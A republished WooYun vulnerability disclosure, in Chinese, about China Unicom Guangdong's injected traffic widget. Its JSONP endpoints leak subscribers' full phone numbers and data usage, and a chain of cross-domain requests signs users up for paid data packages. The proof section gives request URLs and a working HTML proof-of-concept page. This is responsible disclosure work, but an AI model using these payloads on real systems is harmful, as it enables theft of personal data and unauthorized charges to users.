神刀安全网

漏洞标题: 中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

漏洞详情

披露状态:

2016-01-27: 细节已通知厂商并且等待厂商处理中
2016-01-29: 厂商已经确认,细节仅向厂商公开
2016-02-08: 细节向核心白帽子及相关领域专家公开
2016-02-18: 细节向普通白帽子公开
2016-02-28: 细节向实习白帽子公开
2016-03-14: 细节向公众公开

简要描述:

中国联通某站 jsonp 接口跨域导致存在信息泄漏,可能导致用户手机号码、流量使用状况泄漏
同时,某接口可能会被恶意使用快速消耗用户话费

详细说明:

首先先来开下脑洞,现在中国联通在搞链路挟持,在你正常的上网过程中给你插些不明来历的代码,加点广告什么的,其中也包括了他们推出的所谓什么“流量助手”以及“沃~助手”之类的。

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

(图片来自网络)

像图片中的那样,底部被插上了联通的“沃~助手”,用途就是给你看当前的流量之类的。

**先不说他的链路挟持是否合法,就谈谈他这个地方的安全性。你将相关的代码插到了我的页面当中,可能就需要跨域请求到你联通的服务器进行相关数据的获取,而我作为可以控制当前这个网页的人,应该就是有办法能够获取到你跨域请求到的信息,例如手机号码什么的,这样可能就存在相应的信息泄漏。**

这个漏洞大概就是以广东为例子,因为我无法测试外省的相关系统,如果可以麻烦你们也去检查一下其他省份的情况。

广东联通有一个服务,似乎是默认开启的,而我也并不知道有这个服务,那就是联通的上网助手

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

他在我们上网的过程中,会插入相应的代码到页面中

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

如图所示左下角就是他们插入的,一个流量球之类的东西,而问题就是出现在这里。

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

在这个地方,他会显示你当前的流量以及月的总流量,在用户**显示**上面,似乎不会有完整的手机号码,只有类似156****8888这样少了4位的号码,但是在跨域交互当中,就传递了完整的号码。

经过测试,这个所插入的地方通过 jsonp 跨域请求数据,而这就出现了问题

详看漏洞证明。

漏洞证明:

漏洞所在域名:**.**.**.**

经过几天的观察,似乎仅仅是广东联通的手机上网用户可以访问到这个域名下的内容,其他省份用户并不可以。

同时,比较蛋疼的是现在部分手机浏览器都有类似“省流量访问”的功能,这就导致了这个 jsonp 接口有时请求并不是从用户浏览器直接发出,而是从相应的中转服务器出发,而这些服务器都是无法访问的,因此在部分的手机浏览器中需要先关掉相应的“省流量访问”的功能才能访问到这个接口。

===================

**.**.**.** 下的接口几乎都可以使用 jsonp 跨域来获取到数据,下面是几个功能比较突出的接口。

===================

code 区域
http://**.**.**.**/html/servicereq/queryMessageList?callback=angular.callbacks._13&reqparam=%7B%22flag%22:%22-1%22,%22number%22:%2210%22,%22startNum%22:%221%22%7D

获取用户消息,其中包括了用户的完整手机号码。

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

===================

code 区域
http://**.**.**.**/html/servicereq/activetrafficquery?callback=angular.callbacks._13&reqparam=%7B%7D

获取用户当前使用的流量信息

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

===================

组合使用

code 区域
http://**.**.**.**/html/servicereq/packagestore?callback=angular.callbacks._64&reqparam=%7B%7D

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

获取套餐包 ID

code 区域
http://**.**.**.**/html/servicereq/commonpkgsub?callback=angular.callbacks._6d&reqparam=%7B%22id%22:%22-147014340A146%22%7D

下单这个 ID 为 -147014340A146 的流量快餐包

code 区域
http://**.**.**.**/html/servicereq/confirmpkgsub?callback=angular.callbacks._6f&reqparam=%7B%22id%22%3A%22-147014340A146%22%2C%22flowUpshiftFlag%22%3A%220%22%2C%22saleid%22%3A%22%22%2C%22effecttime%22%3A%7B%22value%22%3A%220%22%7D%2C%22effectperiod%22%3A%7B%22value%22%3A%221%22%7D%2C%22isMonthPack%22%3A%221%22%2C%22taskId%22%3A%22%22%7D

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

二次确认

依次访问这几个地址就可以帮访问当前页面的联通用户开通一个10块钱的流量快餐包,此时用户的手机会有相应开通成功的提示(我为了测试这个地方花了我20块钱 – -l

如果有不怀好意的人,重复循环这几个步骤,那么可能会给用户带来极大的损失。

我个人估计第二步可以省略,但是我已经没钱测试了……

===================

===================

为了测试,我写了个简单的页面进行测试,跨域获取到当前访问的联通用户手机号以及流量使用情况。

code 区域
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Liantong</title>
</head>
<body>
<script>
function phoneNumber(data) {
alert("你的手机号码是:" + data['respparam']['phoneNumber']);
}
function trafficUsage(data) {
alert("截至 " + data['respparam']['trafficusage']['traffictime'] + "/n你有 " + data['respparam']['trafficusage']['total'] + " KB/n已用 " + data['respparam']['trafficusage']['used'] + " KB/n");
}
</script>
<script src="http://**.**.**.**/html/servicereq/queryMessageList?callback=phoneNumber&reqparam=%7B%22flag%22%3A%22-1%22%2C%22number%22%3A%2210%22%2C%22startNum%22%3A%221%22%7D"></script>
<script src="http://**.**.**.**/html/servicereq/activetrafficquery?callback=trafficUsage&reqparam=%7B%22applist%22:%22itaocanresult%22%7D"></script>
</body>
</html>

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

漏洞标题:  中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

修复方案:

我本身想写和大多数 jsonp 接口那样子的做好 Referer 防护,但是想了想,这个页面、这个 jsonp 接口就是插到各种网站上面去的,包括我现在访问着的乌云,所以做这个并没有什么意义。

如果可以的话,我觉得,还是不要做链路挟持了,把整个功能关掉多好。既能不再影响用户的正常上网体验,又不会遭受被骂链路挟持乱插广告的名声。

具体修复方案还请你们自行定夺

版权声明:转载请注明来源 imlonghao@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮